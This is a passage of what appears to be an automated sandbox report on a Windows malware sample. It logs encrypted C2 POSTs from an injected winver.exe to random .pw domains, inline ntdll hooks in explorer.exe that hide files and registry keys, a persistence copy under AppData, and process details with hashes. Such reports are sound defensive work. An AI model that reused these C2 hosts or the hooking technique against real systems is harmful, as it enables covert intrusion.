5	192.168.2.4	49740	216.218.185.162	80	7344	C:\Windows\SysWOW64\winver.exe

Timestamp	Bytes transferred	Direction	Data
Dec 22, 2023 21:31:42.585880041 CET	98	OUT	POST /EiDQjNbWEQ/ HTTP/1.0 Host: mfueeimvyrsp.pw Content-Length: 157 Data Raw: 52 0c 05 15 6e 04 05 15 bc 5c 5b 8d 54 0e 04 36 62 3c 35 25 62 3c 35 25 Data Ascii: Rn\[T6b<5%b<5%
Dec 22, 2023 21:31:42.787332058 CET	133	OUT	Data Raw: 00 80 00 00 00 69 f8 e5 11 70 2a a0 b4 13 54 c9 81 fc d4 a4 f7 d9 59 16 eb 1f 03 67 36 75 23 1e 06 61 13 b5 1c 33 30 43 e0 16 27 5b 71 92 3a 08 05 11 a8 cc e3 ae 11 34 d3 45 ce 2f 65 7e 0a 46 24 1f ac c0 d2 f0 e9 0a c5 60 32 64 ea ec 88 8b f3 da Data Ascii: ip*TYg6u#a30C'[q:4E/e~F$`2dnkd]'5gfNDn jFJ
Dec 22, 2023 21:31:42.989285946 CET	156	IN	HTTP/1.1 200 OK Server: nginx/1.21.6 Date: Fri, 22 Dec 2023 20:31:42 GMT Content-Type: application/octet-stream Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49741	216.218.185.162	80	7344	C:\Windows\SysWOW64\winver.exe

Timestamp	Bytes transferred	Direction	Data
Dec 22, 2023 21:31:44.432614088 CET	98	OUT	POST /EiDQjNbWEQ/ HTTP/1.0 Host: utmyhnffxpcj.pw Content-Length: 157 Data Raw: a4 50 75 f5 98 58 75 f5 4a 00 2b 6d a2 52 74 d6 94 60 45 c5 94 60 45 c5 Data Ascii: PuXuJ+mRt`E`E
Dec 22, 2023 21:31:44.637525082 CET	133	OUT	Data Raw: 00 80 00 00 00 71 ea fd 0d 7d 2d ab a4 12 56 d9 9b fc d4 a4 f7 d9 59 16 eb 1f 03 67 36 75 23 1e 06 61 13 b5 1c 20 72 94 a6 63 8b 6a 3b 4f c7 7b 4b 46 f5 9d a9 9c f2 eb 96 ac d3 fe 20 07 1f 76 5e 88 04 b0 ac 3f ac b3 bd 1f 64 86 a0 54 2b 34 bd 39 Data Ascii: q}-VYg6u#a rcj;O{KF v^?dT+49[K?JdrW-\ma,h_;#JC<
Dec 22, 2023 21:31:44.839683056 CET	156	IN	HTTP/1.1 200 OK Server: nginx/1.21.6 Date: Fri, 22 Dec 2023 20:31:44 GMT Content-Type: application/octet-stream Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49742	216.218.185.162	80	7344	C:\Windows\SysWOW64\winver.exe

Timestamp	Bytes transferred	Direction	Data
Dec 22, 2023 21:31:45.756023884 CET	98	OUT	POST /EiDQjNbWEQ/ HTTP/1.0 Host: fkmmvfeonnyh.pw Content-Length: 157 Data Raw: 6d 34 3b 95 50 3c 3b 95 83 64 65 0d 6b 36 3a b6 5d 04 0b a5 5d 04 0b a5 Data Ascii: m4;P<;dek6:]]
Dec 22, 2023 21:31:45.958293915 CET	133	OUT	Data Raw: 00 80 00 00 00 62 f5 fd 19 63 25 a8 ad 04 48 c3 99 fc d4 a4 f7 d9 59 16 eb 1f 03 67 36 75 23 1e 06 61 13 b5 1c 9e f8 67 62 55 31 a7 f7 2b ca 24 87 54 3a d0 6d 47 7c 58 51 3f 15 0b e3 e0 00 a1 a1 3e c0 e5 50 50 d1 29 7b 2c 9d 09 68 1b 90 b4 75 b1 Data Ascii: bc%HYg6u#agbU1+$T:mG\|XQ?>PP){,hubevm[%@Ls*2L<=)aERPZXyWL3\6
Dec 22, 2023 21:31:46.159543037 CET	156	IN	HTTP/1.1 200 OK Server: nginx/1.21.6 Date: Fri, 22 Dec 2023 20:31:46 GMT Content-Type: application/octet-stream Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49743	216.218.185.162	80	7344	C:\Windows\SysWOW64\winver.exe

Timestamp	Bytes transferred	Direction	Data
Dec 22, 2023 21:31:47.490220070 CET	98	OUT	POST /EiDQjNbWEQ/ HTTP/1.0 Host: gfnlmtcolrrb.pw Content-Length: 157 Data Raw: 91 76 5a 68 af 7e 5a 68 7f 26 04 f0 97 74 5b 4b a1 46 6a 58 a1 46 6a 58 Data Ascii: vZh~Zh&t[KFjXFjX
Dec 22, 2023 21:31:47.691407919 CET	133	OUT	Data Raw: 00 80 00 00 00 63 f8 fe 18 78 37 ae ad 06 54 c8 93 fc d4 a4 f7 d9 59 16 eb 1f 03 67 36 75 23 1e 06 61 13 b5 1c 1d 51 07 15 09 4b 87 84 91 07 c4 f8 f8 86 f0 1e 9f b9 78 26 e1 59 6b 90 8c db 81 ce 1b 4d 05 3c ab d0 c9 2f 9b d1 29 3d ad f6 d7 28 75 Data Ascii: cx7TYg6u#aQKx&YkM</)=(ucE+GJXpchl,)'yIb[w{
Dec 22, 2023 21:31:47.892774105 CET	156	IN	HTTP/1.1 200 OK Server: nginx/1.21.6 Date: Fri, 22 Dec 2023 20:31:47 GMT Content-Type: application/octet-stream Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49744	216.218.185.162	80	7344	C:\Windows\SysWOW64\winver.exe

Timestamp	Bytes transferred	Direction	Data
Dec 22, 2023 21:31:48.965379000 CET	98	OUT	POST /EiDQjNbWEQ/ HTTP/1.0 Host: wwgfyvvdtmeq.pw Content-Length: 157 Data Raw: ec b1 0c 1d d3 b9 0c 1d 02 e1 52 85 ea b3 0d 3e dc 81 3c 2d dc 81 3c 2d Data Ascii: R><-<-
Dec 22, 2023 21:31:49.167076111 CET	133	OUT	Data Raw: 00 80 00 00 00 73 e9 f7 12 6c 35 bb a6 1e 4b df 80 fc d4 a4 f7 d9 59 16 eb 1f 03 67 36 75 23 1e 06 61 13 b5 1c 68 1b 5c e8 b6 33 52 79 d8 ee 32 0d 69 8e ca eb 26 6a 32 eb fc b1 35 5d 45 9f 4f 1c 04 c0 ff ea 79 3d 03 fd a1 6a 7f e2 ed 04 82 fb ac Data Ascii: sl5KYg6u#ah\3Ry2i&j25]EOy=jn0o<!r)<Z9R?oenqI6/GL
Dec 22, 2023 21:31:49.369072914 CET	156	IN	HTTP/1.1 200 OK Server: nginx/1.21.6 Date: Fri, 22 Dec 2023 20:31:49 GMT Content-Type: application/octet-stream Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49745	216.218.185.162	80	7344	C:\Windows\SysWOW64\winver.exe

Timestamp	Bytes transferred	Direction	Data
Dec 22, 2023 21:31:50.428587914 CET	98	OUT	POST /EiDQjNbWEQ/ HTTP/1.0 Host: xtbbpqfrsubt.pw Content-Length: 157 Data Raw: f3 e1 ef cd cc e9 ef cd 1d b1 b1 55 f5 e3 ee ee c3 d1 df fd c3 d1 df fd Data Ascii: U
Dec 22, 2023 21:31:50.629816055 CET	133	OUT	Data Raw: 00 80 00 00 00 7c ea f2 16 65 32 ab b0 19 53 d8 85 fc d4 a4 f7 d9 59 16 eb 1f 03 67 36 75 23 1e 06 61 13 b5 1c b1 81 92 bb 34 a3 6c 2e 6a e0 79 5e f3 1b 9f a4 f4 fb e5 99 ed dd c0 2b 67 3a 75 69 64 15 b1 97 6e 9c 5d 80 19 92 b5 97 6f e9 78 8e 93 Data Ascii: \|e2SYg6u#a4l.jy^+g:uidn]oxgcp5F`lF0d<-=:?]Pq%
Dec 22, 2023 21:31:50.832914114 CET	156	IN	HTTP/1.1 200 OK Server: nginx/1.21.6 Date: Fri, 22 Dec 2023 20:31:50 GMT Content-Type: application/octet-stream Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49746	216.218.185.162	80	7344	C:\Windows\SysWOW64\winver.exe

Timestamp	Bytes transferred	Direction	Data
Dec 22, 2023 21:31:52.053474903 CET	98	OUT	POST /EiDQjNbWEQ/ HTTP/1.0 Host: vrmtybxxpddg.pw Content-Length: 157 Data Raw: ea 5f bf 93 aa 57 bf 93 04 0f e1 0b ec 5d be b0 da 6f 8f a3 da 6f 8f a3 Data Ascii: _W]oo
Dec 22, 2023 21:31:52.254502058 CET	133	OUT	Data Raw: 00 80 00 00 00 72 ec fd 00 6c 21 b5 ba 1a 42 de 96 fc d4 a4 f7 d9 59 16 eb 1f 03 67 36 75 23 1e 06 61 13 b5 1c f8 80 90 7d 5f 02 6e ec 89 71 7e 80 10 41 9e 66 1b db e6 5f f9 49 c1 e9 58 a1 7b a7 2d 00 b3 55 4b 8d 5f 46 a1 4b b3 55 54 2d 7e 70 e8 Data Ascii: rl!BYg6u#a}_nq~Af_IX{-UK_FKUT-~ps(I;A~DG +F;UFbB\|oXOfAzk4
Dec 22, 2023 21:31:52.456151009 CET	156	IN	HTTP/1.1 200 OK Server: nginx/1.21.6 Date: Fri, 22 Dec 2023 20:31:52 GMT Content-Type: application/octet-stream Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49748	216.218.185.162	80	7344	C:\Windows\SysWOW64\winver.exe

Timestamp	Bytes transferred	Direction	Data
Dec 22, 2023 21:31:53.740170002 CET	98	OUT	POST /EiDQjNbWEQ/ HTTP/1.0 Host: fccfxejgtpqb.pw Content-Length: 157 Data Raw: ad ed 2a 61 ec e5 2a 61 43 bd 74 f9 ab ef 2b 42 9d dd 1a 51 9d dd 1a 51 Data Ascii: aaCt+BQQ
Dec 22, 2023 21:31:53.940949917 CET	133	OUT	Data Raw: 00 80 00 00 00 62 fd f3 12 6d 26 a7 a5 1e 56 cb 93 fc d4 a4 f7 d9 59 16 eb 1f 03 67 36 75 23 1e 06 61 13 b5 1c 66 9a 7e 2c eb 8f b0 bd 79 6c 2d f1 b6 9e e8 17 f5 b9 50 2f f2 66 13 99 bf b9 a9 d7 9e 9b 1d 25 a4 ad 21 31 5e ff 01 26 54 e7 ac 3f 4e Data Ascii: bm&VYg6u#af~,yl-P/f%!1^&T?Nl 3BGI(pOn]UZ:oq`Dp4
Dec 22, 2023 21:31:54.143640041 CET	137	IN	HTTP/1.1 200 OK Server: nginx/1.21.6 Date: Fri, 22 Dec 2023 20:31:54 GMT Content-Type: application/octet-stream Connection: close
Dec 22, 2023 21:31:54.143652916 CET	1	IN	Data Raw: 66 Data Ascii: f
Dec 22, 2023 21:32:00.129364014 CET	1	IN	Data Raw: 63 Data Ascii: c
Dec 22, 2023 21:32:06.119223118 CET	1	IN	Data Raw: 58 Data Ascii: X
Dec 22, 2023 21:32:12.157475948 CET	1	IN	Data Raw: 6f Data Ascii: o
Dec 22, 2023 21:32:18.121309042 CET	1	IN	Data Raw: 4e Data Ascii: N
Dec 22, 2023 21:32:24.172709942 CET	1	IN	Data Raw: 53 Data Ascii: S
Dec 22, 2023 21:32:30.113518953 CET	1	IN	Data Raw: 6d Data Ascii: m
Dec 22, 2023 21:32:36.151500940 CET	1	IN	Data Raw: 6e Data Ascii: n
Dec 22, 2023 21:32:42.219223022 CET	1	IN	Data Raw: 43 Data Ascii: C

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49729	173.222.162.32	443	4984	C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-22 20:31:12 UTC	2301	OUT	POST /threshold/xls.aspx HTTP/1.1 Origin: https://www.bing.com Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept: / Accept-Language: en-CH Content-type: text/xml X-Agent-DeviceId: 01000A4109000CC6 X-BM-CBT: 1696420817 X-BM-DateFormat: dd/MM/yyyy X-BM-DeviceDimensions: 784x984 X-BM-DeviceDimensionsLogical: 784x984 X-BM-DeviceScale: 100 X-BM-DTZ: 60 X-BM-Market: CH X-BM-Theme: 000000;0078d7 X-BM-WindowsFlights: FX:117B9872,FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66E X-Device-ClientSession: 0912CF9094994CFA88DE52C6FB19D4E1 X-Device-isOptin: false X-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A} X-Device-OSSKU: 48 X-Device-Touch: false X-DeviceID: 01000A4109000CC6 X-MSEdge-ExternalExp: bfbwsbrs0830tf,d-thshldspcl40,msbdsborgv2co,msbwdsbi920t1,spofglclicksh-c2,webtophit0r_t,wsbmsaqfuxtc,wsbqfasmsall_t,wsbqfminiserp400,wsbref-t X-MSEdge-ExternalExpType: JointCoord X-PositionerType: Desktop X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUI X-Search-CortanaAvailableCapabilities: None X-Search-SafeSearch: Moderate X-Search-TimeZone: Bias=0; DaylightBias=-60; TimeZoneKeyName=GMT Standard Time X-UserAgeClass: Unknown Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: www.bing.com Content-Length: 2232 Connection: Keep-Alive Cache-Control: no-cache Cookie: MUID=6666694284484FA1B35CCB433D42E997; _SS=SID=193A581F83766B4319784BBF829B6A16&CPID=1696420820117&AC=1&CPH=e5c79613&CBV=39942242; _EDGE_S=SID=193A581F83766B4319784BBF829B6A16; SRCHUID=V=2&GUID=BA43D82178364AEA9C1EE6C32BE93416&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231003; SRCHHPGUSR=SRCHLANG=en&LUT=1696420817741&IPMH=425591ef&IPMID=1696420817913&HV=1696417346; ANON=A=6D8F9DF00282E660E425530EFFFFFFFF; CortanaAppUID=4C9C2B2D0465FD7A42C74C7E93CFB630; MUIDB=6666694284484FA1B35CCB433D42E997
2023-12-22 20:31:12 UTC	2232	OUT	Data Raw: 3c 43 6c 69 65 6e 74 49 6e 73 74 52 65 71 75 65 73 74 3e 3c 43 49 44 3e 36 36 36 36 36 39 34 32 38 34 34 38 34 46 41 31 42 33 35 43 43 42 34 33 33 44 34 32 45 39 39 37 3c 2f 43 49 44 3e 3c 45 76 65 6e 74 73 3e 3c 45 3e 3c 54 3e 45 76 65 6e 74 2e 43 6c 69 65 6e 74 49 6e 73 74 3c 2f 54 3e 3c 49 47 3e 38 39 32 46 41 30 37 38 38 36 34 31 34 42 44 46 38 45 45 31 37 36 34 41 35 39 46 46 33 39 43 36 3c 2f 49 47 3e 3c 44 3e 3c 21 5b 43 44 41 54 41 5b 7b 22 43 75 72 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 2f 41 53 2f 41 50 49 2f 57 69 6e 64 6f 77 73 43 6f 72 74 61 6e 61 50 61 6e 65 2f 56 32 2f 49 6e 69 74 22 2c 22 50 69 76 6f 74 22 3a 22 51 46 22 2c 22 54 22 3a 22 43 49 2e 42 6f 78 4d 6f 64 65 6c 22 2c 22 46 49 44 22 3a 22 43 Data Ascii: <ClientInstRequest><CID>6666694284484FA1B35CCB433D42E997</CID><Events><E><T>Event.ClientInst</T><IG>892FA07886414BDF8EE1764A59FF39C6</IG><D><![CDATA[{"CurUrl":"https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init","Pivot":"QF","T":"CI.BoxModel","FID":"C
2023-12-22 20:31:13 UTC	476	IN	HTTP/1.1 204 No Content Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 9D4D8C81492A4AA4A3EC867AC8089804 Ref B: CO1EDGE2420 Ref C: 2023-12-22T20:31:13Z Date: Fri, 22 Dec 2023 20:31:13 GMT Connection: close Alt-Svc: h3=":443"; ma=93600 X-CDN-TraceID: 0.20a6dc17.1703277072.37a1e4e0

Code Manipulations

User Modules

Hook Summary

Function Name	Hook Type	Active in Processes
ZwResumeThread	INLINE	explorer.exe
NtQueryDirectoryFile	INLINE	explorer.exe
ZwEnumerateValueKey	INLINE	explorer.exe
NtResumeThread	INLINE	explorer.exe
ZwCreateUserProcess	INLINE	explorer.exe
NtEnumerateValueKey	INLINE	explorer.exe
NtCreateUserProcess	INLINE	explorer.exe
ZwQueryDirectoryFile	INLINE	explorer.exe

Processes

Process: explorer.exe, Module: ntdll.dll

Function Name	Hook Type	New Data
ZwResumeThread	INLINE	0xE9 0x9E 0xE1 0x12 0x25 0x51
NtQueryDirectoryFile	INLINE	0xE9 0x98 0x81 0x12 0x29 0x91
ZwEnumerateValueKey	INLINE	0xE9 0x9C 0xC1 0x12 0x2D 0xD1
NtResumeThread	INLINE	0xE9 0x9E 0xE1 0x12 0x25 0x51
ZwCreateUserProcess	INLINE	0xE9 0x93 0x31 0x11 0x17 0x71
NtEnumerateValueKey	INLINE	0xE9 0x9C 0xC1 0x12 0x2D 0xD1
NtCreateUserProcess	INLINE	0xE9 0x93 0x31 0x11 0x17 0x71
ZwQueryDirectoryFile	INLINE	0xE9 0x98 0x81 0x12 0x29 0x91

Target ID:	0
Start time:	21:30:53
Start date:	22/12/2023
Path:	C:\Users\user\Desktop\java.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\java.exe
Imagebase:	0x400000
File size:	116'224 bytes
MD5 hash:	91493A9A9E83A7B48D178AE10F97028D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	21:30:53
Start date:	22/12/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	21:30:53
Start date:	22/12/2023
Path:	C:\Windows\SysWOW64\winver.exe
Wow64 process (32bit):	true
Commandline:	winver
Imagebase:	0x440000
File size:	57'344 bytes
MD5 hash:	B5471B0FB5402FC318C82C994C6BF84D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	21:30:53
Start date:	22/12/2023
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff72b770000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	21:31:01
Start date:	22/12/2023
Path:	C:\Windows\System32\sihost.exe
Wow64 process (32bit):	false
Commandline:	sihost.exe
Imagebase:	0x7ff796ef0000
File size:	111'616 bytes
MD5 hash:	A21E7719D73D0322E2E7D61802CB8F80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	21:31:01
Start date:	22/12/2023
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	21:31:01
Start date:	22/12/2023
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s WpnUserService
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	21:31:02
Start date:	22/12/2023
Path:	C:\Windows\System32\ctfmon.exe
Wow64 process (32bit):	false
Commandline:	ctfmon.exe
Imagebase:	0x7ff7e3b00000
File size:	11'264 bytes
MD5 hash:	B625C18E177D5BEB5A6F6432CCF46FB3
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	21:31:02
Start date:	22/12/2023
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	21:31:02
Start date:	22/12/2023
Path:	C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
Imagebase:	0x7ff7da970000
File size:	793'416 bytes
MD5 hash:	5CDDF06A40E89358807A2B9506F064D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	21:31:04
Start date:	22/12/2023
Path:	C:\Windows\System32\RuntimeBroker.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\RuntimeBroker.exe -Embedding
Imagebase:	0x7ff71e800000
File size:	103'288 bytes
MD5 hash:	BA4CFE6461AFA1004C52F19C8F2169DC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	21:31:04
Start date:	22/12/2023
Path:	C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
Imagebase:	0x7ff6fdaa0000
File size:	3'671'400 bytes
MD5 hash:	5E1C9231F1F1DCBA168CA9F3227D9168
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	21:31:09
Start date:	22/12/2023
Path:	C:\Users\user\AppData\Roaming\F90F00A9\bin.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\F90F00A9\bin.exe"
Imagebase:	0x400000
File size:	116'224 bytes
MD5 hash:	EA8543BCC2E4689874647E2507DA6B29
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	21:31:10
Start date:	22/12/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	21:31:17
Start date:	22/12/2023
Path:	C:\Windows\System32\RuntimeBroker.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\RuntimeBroker.exe -Embedding
Imagebase:	0x7ff71e800000
File size:	103'288 bytes
MD5 hash:	BA4CFE6461AFA1004C52F19C8F2169DC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	21:31:18
Start date:	22/12/2023
Path:	C:\Windows\System32\smartscreen.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\smartscreen.exe -Embedding
Imagebase:	0x7ff7d45b0000
File size:	2'378'752 bytes
MD5 hash:	02FB7069B8D8426DC72C9D8A495AF55A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	21:31:18
Start date:	22/12/2023
Path:	C:\Users\user\AppData\Roaming\F90F00A9\bin.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\F90F00A9\bin.exe"
Imagebase:	0x400000
File size:	116'224 bytes
MD5 hash:	EA8543BCC2E4689874647E2507DA6B29
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	21:31:18
Start date:	22/12/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	21:31:19
Start date:	22/12/2023
Path:	C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe" -ServerName:InputApp.AppXjd5de1g66v206tj52m9d0dtpppx4cgpn.mca
Imagebase:	0x7ff794e20000
File size:	19'232 bytes
MD5 hash:	F050189D49E17D0D340DE52E9E5B711F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	20
Start time:	21:31:20
Start date:	22/12/2023
Path:	C:\Windows\System32\RuntimeBroker.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\RuntimeBroker.exe -Embedding
Imagebase:	0x7ff71e800000
File size:	103'288 bytes
MD5 hash:	BA4CFE6461AFA1004C52F19C8F2169DC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	23
Start time:	21:31:21
Start date:	22/12/2023
Path:	C:\Windows\System32\RuntimeBroker.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\RuntimeBroker.exe -Embedding
Imagebase:	0x7ff71e800000
File size:	103'288 bytes
MD5 hash:	BA4CFE6461AFA1004C52F19C8F2169DC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	21:31:21
Start date:	22/12/2023
Path:	C:\Windows\System32\ApplicationFrameHost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\ApplicationFrameHost.exe -Embedding
Imagebase:	0x7ff7d5d50000
File size:	78'456 bytes
MD5 hash:	D58A8A987A8DAFAD9DC32A548CC061E7
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	25
Start time:	21:31:23
Start date:	22/12/2023
Path:	C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe" -ServerName:App.AppXc75wvwned5vhz4xyxxecvgdjhdkgsdza.mca
Imagebase:	0x7ff63cc40000
File size:	19'456 bytes
MD5 hash:	6C44453CD661FC2DB18E4C09C4940399
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	26
Start time:	21:31:23
Start date:	22/12/2023
Path:	C:\Windows\System32\RuntimeBroker.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\RuntimeBroker.exe -Embedding
Imagebase:	0x7ff71e800000
File size:	103'288 bytes
MD5 hash:	BA4CFE6461AFA1004C52F19C8F2169DC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	27
Start time:	21:31:23
Start date:	22/12/2023
Path:	C:\Windows\ImmersiveControlPanel\SystemSettings.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\ImmersiveControlPanel\SystemSettings.exe" -ServerName:microsoft.windows.immersivecontrolpanel
Imagebase:	0x7ff614e70000
File size:	98'104 bytes
